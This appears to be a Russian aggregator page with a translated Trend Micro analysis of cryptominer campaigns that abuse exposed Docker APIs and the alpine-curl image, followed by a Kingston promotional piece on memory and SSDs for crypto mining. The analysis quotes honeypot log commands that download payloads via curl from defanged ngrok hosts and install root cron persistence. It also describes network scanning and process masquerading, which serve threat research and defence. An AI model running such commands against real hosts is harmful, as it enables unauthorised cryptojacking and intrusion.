Русский
Русский
English
Статистика
Реклама

Майнер

Перевод Как незакрытый Docker API и публичные образы от сообщества используются для распространения майнеров криптовалют

12.08.2020 22:10:19 | Автор: admin


Мы проанализировали данные, собранные с помощью контейнеров-honeypots они были созданы нами для отслеживания угроз. И мы обнаружили значительную активность нежелательных или неавторизованных майнеров криптовалют, развернутых в качестве мошеннических контейнеров с использованием опубликованного сообществом образа на Docker Hub. Образ применяется в качестве части сервиса, доставляющего вредоносные программы-майнеры криптовалют.


Дополнительно устанавливаются программы для работы с сетями для проникновения в открытые соседние контейнеры и приложения.


Мы оставляем наши honeypots, как есть, то есть с настройками, идущими по умолчанию, без каких-либо мер безопасности или последующей установки дополнительного ПО. Обращаем внимание на то, что у Docker есть рекомендации по первоначальной настройке, чтобы избежать ошибок и простейших уязвимостей. Но используемые honeypots являются контейнерами, предназначенными для обнаружения атак, направленных на платформу контейнеризации, а не на приложения внутри контейнеров.


Обнаруженная вредоносная активность примечательна также тем, что не требует наличия уязвимостей, а также независима от версии Docker. Поиск неверно настроенного, а поэтому открытого образа контейнера все, что надо злоумышленникам для заражения множества открытых серверов.


Незакрытый Docker API разрешает пользователю выполнять широкий набор команд, включая получение списка запущенных контейнеров, получение журналов из определенного контейнера, запуск, остановка (в том числе и принудительная) и даже создание нового контейнера с определенного образа с заданными настройками.



Слева способ доставки вредоносной программ. Справа окружение атакующего, позволяющее удаленную раскатку образов.



Распределение по странам из 3762 открытых Docker API. Основано на поиске в Shodan от 12.02.2019


Цепочка атаки и варианты полезной нагрузки


Вредоносную активность получилось обнаружить не только с помощью honeypots. Данные из Shodan показывают, что количество открытых Docker API (см. второй график) выросло с тех пор, как мы исследовали неверно настроенный контейнер, использовавшийся в качестве моста для развертывания ПО для майнинга криптовалюты Monero. В октябре прошлого года (2018, актуальные данные можно посмотреть так прим. переводчика) было только 856 открытых API.


Изучение журналов honeypots показало, что использование образа контейнера также связано с использованием ngrok, инструментом установки безопасных соединений или проброса трафика с публично доступных точек к указанным адресам или ресурсам (например localhost). Это позволяет злоумышленникам динамически создавать URL`ы при доставке полезной нагрузки на открытый сервер. Ниже примеры кода из журналов, показывающие злоупотребление сервисом ngrok:


Tty: falseCommand: -c curl retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d \hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283\;echo \* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\ >/tmp9bedce/etc/crontab;echo \* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\ >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c \cron || crond\,Entrypoint: /bin/shTty: false,Command: -c curl retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d \hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283\;echo \* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\ >/tmp570547/etc/crontab;echo \* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\ >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c \cron || crond\,Entrypoint: /bin/shTty: false,Command: -c curl retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed \hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee\;echo \* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\ >/tmp326c80/etc/crontab;echo \* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\ >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c \cron || crond\,Entrypoint: /bin/sh,Tty: false,Cmd: -c curl retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed \hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee\;echo \* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\ >/tmp8b9b5b/etc/crontab;echo \* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\ >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c \cron || crond\,Entrypoint: /bin/sh

Как вы видите, загруженные файлы скачиваются из постоянно меняющихся URL. Эти URL имеют короткий срок действия, поэтому полезные нагрузки не могут быть загружены после истечения срока действия.


Есть два варианта полезной нагрузки. Первый скомпилированный майнер в формате ELF для Linux (определяемый как Coinminer.SH.MALXMR.ATNO), который подключается к пулу для майнинга. Второй скрипт (TrojanSpy.SH.ZNETMAP.A), предназначенный для получения определенных сетевых инструментов, используемых для сканирования сетевых диапазонов и последующего поиска новых целей.


Скрипт-дроппер выставляет две переменные, используемые потом для развертывания майнера криптовалюты. Переменная HOST содержит URL, где размещены вредоносные файлы, а переменная RIP имя файла (по факту хэш) майнера для развертывания. Переменная HOST меняется каждый раз при изменении переменной с хэшем. Скрипт также пробует проверять, что на атакуемом сервере не работают другие майнеры криптовалют.



Примеры переменных HOST и RIP, а также отрывок кода, используемого в качестве проверки, что не запущены другие майнеры


Прежде чем запускать майнер, он переименовывается в nginx. Другие версии этого скрипта переименовывают майнер в другие легитимные сервисы, которые могут присутствовать в окружениях Linux. Этого обычно достаточно для обхода проверок по списку запущенных процессов.


У поискового скрипта также есть особенности. Он работает с тем же сервисом URL для разворачивания необходимых инструментов. Среди них есть бинарник zmap, используемый для сканирования сетей и получения списка открытых портов. Скрипт также загружает другой бинарник, используемый для взаимодействия с найденными сервисами и получения от них баннеров для определения дополнительной информации о найденном сервисе (например его версию).


Скрипт также заранее определяет некоторые сетевые диапазоны для сканирования, но это зависит от версии скрипта. Также в нем задаются целевые порты от сервисов в данном случае Docker перед запуском сканирования.


Как только найдены предполагаемые цели автоматически из них снимаются баннеры. Скрипт также фильтрует цели в зависимости от интересующих его сервисов, приложений, компонентов или платформ: Redis, Jenkins, Drupal, MODX, Kubernetes Master, клиент Docker 1.16 и Apache CouchDB. Если сканируемый сервер соответствует любому из них он сохраняется в текстовом файле, который злоумышленники в дальнейшем смогут использовать для последующего анализа и взлома. Эти текстовые файлы загружаются на сервера злоумышленников по динамическим ссылкам. То есть для каждого файла используется отдельный URL, что означает трудности при последующем доступе.


В качестве вектора атаки применяется образ Docker, как это видно на последующих двух кусочках кода.



Сверху переименование в легитимный сервис, а снизу как применяется zmap для сканирования сетей



Сверху предопределенные сетевые диапазоны, снизу определенные порты для поиска сервисов, включая Docker



На снимке экрана видно, что образ alpine-curl скачан более 10 млн раз


На основе Alpine Linux и curl, ресурсоэффективного инструмента CLI для передачи файлов по различным протоколам, можно собрать образ Docker. Как видно на предыдущем рисунке, этот образ уже был скачан более 10 миллионов раз. Большое число загрузок может означать использование этого образа в качестве точки входа, обновление этого образа было более полугода назад, другие образы этого репозитория пользователи не загружали так же часто. В Docker точка входа набор инструкций, используемых для настройки контейнера для его запуска. Если настройки точки входа некорректны (к примеру оставлены открытыми из Интернета), образ можно использовать как вектор атаки. Взломщики могут его использовать для доставки полезной нагрузки, если обнаружат оставленный без поддержки неверно настроенный или открытый контейнер.


Важно отметить, что этот образ (alpine-curl) сам по себе не является вредоносным, однако как можно увидеть выше с его помощью можно выполнять вредоносные функции. Схожие образы Docker также могут быть использованы для совершения злонамеренных действий. Мы связались с Docker и работали с ними над этой проблемой.


Рекомендации


Неверная настройка остается постоянной проблемой для многих компаний, особенно внедряющих DevOps, ориентированный на быструю разработку и доставку. Все усугубляется из-за необходимости соблюдать правила аудита, мониторинга, необходимостью слежения за конфиденциальностью данных, а также огромным ущербом от их несоблюдения. Внедрение автоматизации безопасности в жизненный цикл разработки не только помогает найти дыры в безопасности, которые иначе могли бы остаться незамеченными, но и позволяет уменьшить излишнюю рабочую нагрузку, например запуск дополнительных сборок ПО для каждой обнаруженной уязвимости или неверной настройки после развертывания приложения.


Инцидент, обсуждаемый в этой статье, подчеркивает необходимость позаботиться о безопасности изначально, включая следующие рекомендации:


  • Для системных администраторов и разработчиков: всегда проверяйте настройки API, чтобы убедиться что все настроено для приема запросов только от определенного сервера или внутренней сети.
  • Следуйте принципу минимальных прав: проверьте, что образы контейнеров подписаны и авторизованы, ограничьте доступ к критически важным компонентам (сервис запуска контейнеров) и добавьте шифрование сетевых соединений.
  • Следуйте рекомендациям и включите механизмы безопасности, например от Docker и встроенные функции безопасности.
  • Применяйте автоматизированное сканирование сред исполнения и образов для получения дополнительной информации о процессах, запущенных в контейнере (например, для определения подмены или поиска уязвимостей). Контроль приложений и мониторинг целостности помогают отслеживать аномальные изменения на серверах, файлах и системных областях.

Trendmicro помогает командам DevOps собирать безопасно, выкатывать быстро и запускаться где угодно. Trend Micro Hybrid Cloud Security обеспечивает мощную, оптимизированную и автоматизированную безопасность в рамках конвейера DevOps организации и предоставляет несколько способов защиты от угроз XGen для защиты физических, виртуальных и облачных рабочих нагрузок во время выполнения. Он также добавляет защиту контейнеров с помощью Deep Security и Deep Security Smart Check, которые сканируют образы контейнеров Docker на наличие вредоносных программ и уязвимостей на любом интервале в конвейере разработки для предотвращения угроз до их развертывания.


Признаки компрометации


Связанные хэши:


  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

На видеокурсе по Docker спикеры-практики показывают, какие настройки необходимо сделать в первую очередь, чтобы минимизировать вероятность или полностью избежать возникновения описанной выше ситуации. А 19-21 августа на онлайн-интенсиве DevOps Tools&Cheats эти и подобные проблемы безопасности вы сможете обсудить с коллегами и преподавателями-практиками на круглом столе, где каждый сможет высказаться и послушать про боли и успехи опытных коллег.

Подробнее..

Зачем ROM и RAM криптовалютчикам?

24.03.2021 10:15:26 | Автор: admin


Только ленивый на habr-е не слышал про блокчейн и майнеров. Эта каста людей уже отняла у геймеров видеокарты, но скоро, возможно, она позарится на жёсткие диски и оперативную память. Если кто-то скажет вам, что они не нужны, отправьте этого масона криптовалютного заговора читать нашу статью.


Погружение в Блокчейн


Если вы разбираетесь в узлах, майнинге и остальных нюансах, то зачем вы это читаете? пропустите этот скромный блок текста, так как тут мы погрузимся в азы работы криптовалютой системы. Никаких глубокомысленных сложностей не будет.

В основе всего процесса лежит Хэш функция. Эта такая штука, которая позволяет из маленького или огромного блока данных получить кашу из цифр, букв и символов определённой длины. Сразу к примерам:

Я люблю Kingston fkgkd240ckro3
Я люблю Хабр gkfs40sfvmggr
Я люблю Kingston и Хабр fscm2clg5c0r5

Видите? Ну как же нет? Правильно говорила мама: преподавание не твоё. . Чтобы мы не подали на вход, на выходе получается кракозябра длиной 13 символов. Если две кракозябры совпадают, то значит, что они получены пропусканием через хэширование одних и тех же данных. Считается, что по кракозябре нельзя понять, что было до хэширования.



Вот и получается, что каждая транзакция в блокчейне проходит через Хэш. Для новой транзакции берётся хэш-значение предыдущей операции и хэшируется в связке с новой. И всё это становится частью следующей транзакции.

Если вы злодей, который хочет сказать, что второй транзакции не было, то вам нужно пересчитать хэш от 2-ой транзакции, что изменит результат 3-ей, которую тоже надо пересчитать и так далее. А ведь это не мешки ворочать. Придётся запастись огромной вычислительной мощностью и даже это вам не поможет.

Блокчейн децентрализован, то есть записи об операциях не хранятся в одном месте. Никто не может что-то поменять и навязать остальным, что так и было. Аналогичные журналы с операциями находятся у сотен/десятков/тысяч. Чувствуете? Запахло памятью.

Основы майнинга


Майнеры не просто добывают какие-то фантики, они занимаются сложными математическими вычислениями, которые обосновывают проводимые в криптовалюте операции. В их обязанности входит создание новых блоков криптовалюты, куда записываются транзакции, а также вычисление хэшей. Причём делается это как на уроках математики в лучшие школьные годы перебором всех возможных вариантов ответа.

Дело в том, что каждая криптовалюта отличается от своих собратьев. На программном уровне майнерам вставляют палки в колёса, что усложняет процесс просчёта хэшей и создания блоков. И то же гарантирует то, что какой-то умник с мегакомпьютером не изменит журнал транзакций, так как на каждый блок уходят огромные мощности.

В процессе майнинга, майнеры получают комиссию за обслуживание операций, а также за создание новых монет. Остальные подробности нам не нужны.

Майнинг и память


Ранее уже говорилось, что каждая криптовалюта скрывает в себе свой дивный мир с палками и колёсами. Этим и объясняется совершенно разный подход к железу. Логично, что одна и та же видеокарта добывает разное количество коинХабов и КриптоКингстонов за один промежуток времени. При этом основные ресурсы берутся с видеокарты: GPU + видеопамять. Но закон везде один: со временем стучать киркой становится сложнее.

Но при этом стоит учитывать время поднятие системы при отказе. В таком случае выгодно использовать SSD, пускай даже и маленький. Им же легко компенсировать маленькое количество оперативной памяти, например, 4 ГБ DDR4. Этого объёма достаточно для работы с bitcoin на машине под управлением Windows. Главное расширить файл подкачки хотя бы до 16 ГБ. Впрочем, давайте смотреть подробнее.

Зависимость от RAM


Она наступает тогда, когда вы имеете дело с более сложной криптовалютой. Bitсoin хэширует лишь информацию об операции, а в случае с Ethereum, блокчейн может содержать микропрограммы. И вот вместо 4 ГБ, ОЗУ подрастает до 8 ГБ.


Вторым важным моментом является майнинг при помощи процессоров. У видеокарты есть видеопамять, а у процессора кента нет. Для него боевым товарищем становится оперативная память и качество её работы напрямую влияет на производительность майнинга, особенно если вы занимаетесь разгоном. В таком случае для продвинутого майнинга Monero (в конце 2019 года) на одном Ryzen 7 3700X требовалось 16 ГБ ОЗУ. И банальное повышение частоты с 2400 МГц до 3200 МГц приводит к реальным результатам.



Зависимость от ROM


Выше уже было напечатано, что SSD повышает скорость перезагрузки системы в случае ошибки. Вдобавок твердотельный диск требует меньше энергии, что снижает счёт за электричество. Но мы же на Хабре, давайте считать!

Считаем что:

Мы живём в Москве и платим по единому тарифу 5,56 рублей за Киловатт
SSD потребляет минимум 2 Ватта, а HDD не менее 6 Ватт

Тогда для HDD: (((6 x 24) x 365 )/ 1000)) x 5,56 = 292,2 рубля в год
Для SSD: (((2 x 24) x 365 )/ 1000)) x 5,56 = 97,4 рубля в год

Может быть, домашнему майнеру разница покажется смешной. Но если у вас работает огромная ферма из нескольких систем, то проще купить кучку SSD на 60/120 Gb, чем HDD на 250 ГБ. Вы получите не только быстрое изменение профиля разгона, но скоростное возобновление работы при критических ошибках.

Узлам без SSD никуда!


Полундра, сейчас видимость угрозы для SSD как никогда высока. Ведь мы заплыли в теоретическую часть про узлы, они же называются нодами. Помните, мы ранее рассматривали журнал и говорили про то, что он не хранится на одном устройстве. Так в этом и есть прелесть блокчейна. Эти самые журналы раскиданы по множеству физических систем, при каждой транзакции записи в них меняются, а сами журналы используются для верификации.

Так вот, у вас есть возможность стать полной нодой. Для этого придётся загрузить себе на диск всю историю транзакций с криптовалютой. Для Bitcoin-а в начале марта 2021 года требовалось 330 Гб. Причём со временем этот дамп будет расти, а ваша система сможет верифицировать операции.


Криптовалютчики частенько говорят, что держатели полных нодов благородные люди, которые помогают децентрализации сети. На самом же деле это связано с анонимностью, потому что, передавая данные другому полному ноду, вы не можете быть уверены, что вас не отследят. Так как запрос на внесение изменений в цепочку отправляется публично. А пряча свои тайные делишки операции в своёй ноде (для Bitcoin это Bitcoin Core), вы маскируете их. Дополнительно стоит отметить поддержку Tor.



А если мы вернёмся к Ethereum, то как и с RAM, станет только хуже. Среди рекомендуемых системных требований для узла: 16 Гб оперативной памяти и SSD на 500 ГБ. Если вам кажется, что это с запасом, то оставьте свои надежды Для полной синхронизации требуется не менее 5 Тб. А высокая нагрузка на всю сеть не позволяет использовать медленные HDD. Для справочки: за последний год полный архив подрос на 3 ТБ.



И таких смельчаков немало, публичные полные ноды можно отследить в режиме онлайн на специальной карте. В конце марта их оказалось 6,666 штук, а это минимум 34 719 дисков Kingston A400 по 960 Гб каждый, на общую сумму более 310 миллионов рублей.

Таким образом, только публичные ноды Ethereum можно оценить в 15 406 шести гигабайтных видеокарт GTX 1060, заказанных по средней цене на Ebay.



Шутка ли, но разработчик Bitcoin Core (ПО для полных нод Bitcoin) написал скрипт и насчитал в январе 2021 года более 30 тысяч полных нод с обновлёнными данными, хотя Coin Dance показывал только 11 619 полных нод. Интересно, у Ethereum такая же картина со скрытыми нодами?

Попрощаемся?




Не спешите бежать за твердотельным накопителем в магазин. Продажи SSD дисков оцениваются в миллионы штук ежегодно, так что в ближайшие пару лет дефицита не предвидится. Разве что не произойдёт очередной крипто-бум.

Но важно понимать, что такие диски помогают экономить деньги на электроэнергии и стабилизировать работу фермы. А тем, кто хочет быть полностью анонимным, они нужны для налаживания своих полных нод. А криптовалют становится всё больше, размер файлов синхронизации расчёт Вы же тоже видите тенденцию?

Что касается оперативной памяти, то мы видим явную необходимость в ней при майнинге на CPU. Такие фермы не занимаются добычей популярных валют, а сконцентрированы на узком кругу монеток: Cranepay, Binarium, Yenten, Monero.

Для получения дополнительной информации о продуктах Kingston Technology обращайтесь на официальный сайт компании.
Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru